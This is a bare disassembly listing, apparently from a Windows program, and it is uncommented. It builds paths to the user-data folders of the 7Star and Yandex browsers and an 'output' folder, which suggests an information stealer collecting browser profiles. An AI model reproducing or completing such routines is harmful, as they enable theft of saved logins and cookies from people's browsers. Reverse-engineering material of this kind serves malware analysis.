lea rcx, [rbp + 0x2fd8]
call fcn.14000a130
test al, al
je 0x140024fd1
mov dil, 1
jmp 0x140024fd4
xor dil, dil
bt ebx, 0x1c
jae 0x140024fee
btr ebx, 0x1c
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2fd8]
call fcn.140007bc0
nop
bt ebx, 0x1b
jae 0x140025008
btr ebx, 0x1b
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2fb8]
call fcn.140033cd0
nop
bt ebx, 0x1a
jae 0x140025022
btr ebx, 0x1a
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2f98]
call fcn.140007bc0
nop
bt ebx, 0x19
jae 0x14002503b
btr ebx, 0x19
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2f78]
call fcn.140033cd0
test dil, dil
je 0x1400252ce
mov edx, Ordinal_26
lea rcx, [rbp + 0x62a0]
call fcn.14000bde0
lea r8, str._appdata_local_7star_7star_user_data_
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2ff8]
call fcn.140037c40
nop
mov rdx, rax
lea rcx, [rbp + 0x62a0]
call fcn.140012310
nop
lea rcx, [rbp + 0x2ff8]
call fcn.140033cd0
lea rdx, str.Default
lea rcx, [rbp + 0x3018]
call fcn.140033e80
nop
lea rdx, [rbp + 0x3018]
lea rcx, [rbp + 0x62a0]
call fcn.1400335d0
nop
lea rcx, [rbp + 0x3018]
call fcn.140033cd0
lea r8, str._output_7star_
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x3038]
call fcn.14003a8e0
nop
mov rcx, rax
call fcn.1400338c0
mov rdx, rax
lea rcx, [rbp + 0x65a8]
call fcn.140033a40
nop
lea rcx, [rbp + 0x3038]
call fcn.140007bc0
lea r8, [0x1402927d0]
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x3058]
call fcn.14003a8e0
nop
mov rcx, rax
call fcn.1400338c0
mov rdx, rax
lea rcx, [rbp + 0x6628]
call fcn.140033a40
nop
lea rcx, [rbp + 0x3058]
call fcn.140007bc0
lea rcx, [rbp + 0x65a8]
call fcn.1400338c0
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x6628]
call fcn.1400338c0
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x3078]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x3078]
call fcn.140033ec0
mov r13, rax
lea rax, [rbp + 0x688]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x6210]
lea rcx, [rbp + 0x688]
call fcn.140033060
mov r12, rax
lea rax, [rbp + 0x3098]
mov qword [rbp - 0x58], rax
lea r8, [0x140291dcc]
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x3098]
call fcn.140037c40
mov r15, rax
lea rax, [rbp + 0x30b8]
mov qword [rbp - 0x60], rax
lea r8, str._appdata_local_7star_7star_user_data
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x30b8]
call fcn.140037c40
mov r14, rax
lea rax, [rbp + 0x30d8]
mov qword [rbp - 0x68], rax
lea rdx, [0x1402927d0]
lea rcx, [rbp + 0x30d8]
call fcn.140033a40
mov rsi, rax
lea rax, [rbp + 0x30f8]
mov qword [rbp - 0x70], rax
lea rdx, str._7star_
lea rcx, [rbp + 0x30f8]
call fcn.140033e80
mov rdi, rax
lea rax, [rbp + 0x3118]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x3118]
call fcn.140033ec0
mov rbx, rax
lea rdx, [rbp + 0x62a0]
lea rcx, [rbp + 0x6a0]
call fcn.140033630
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e10
nop
lea rcx, [rbp + 0x6628]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x65a8]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x62a0]
call fcn.140033620
mov ebx, dword [rbp + 0x40]
lea r8, str._appdata_local_yandex_yandexbrowser_user_data_
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x3138]
call fcn.140037c40
nop
bts ebx, 0x1d
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x3158]
call fcn.140039e30
nop
bts ebx, 0x1e
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x3158]
call fcn.14000a0a0
test al, al
je 0x140025372
lea r8, str._appdata_local_yandex_yandexbrowser_user_data_
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x3178]
call fcn.140037c40
nop
or ebx, 0x80000000
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x3198]
call fcn.140039e30
nop
mov edi, 1
mov dword [rbp + 0x4c], edi
mov dword [rbp + 0x40], edi
lea rcx, [rbp + 0x3198]
call fcn.14000a130
test al, al
je 0x140025375
mov edi, dword [rbp + 0x4c]
xor sil, sil
test dil, 1
je 0x140025391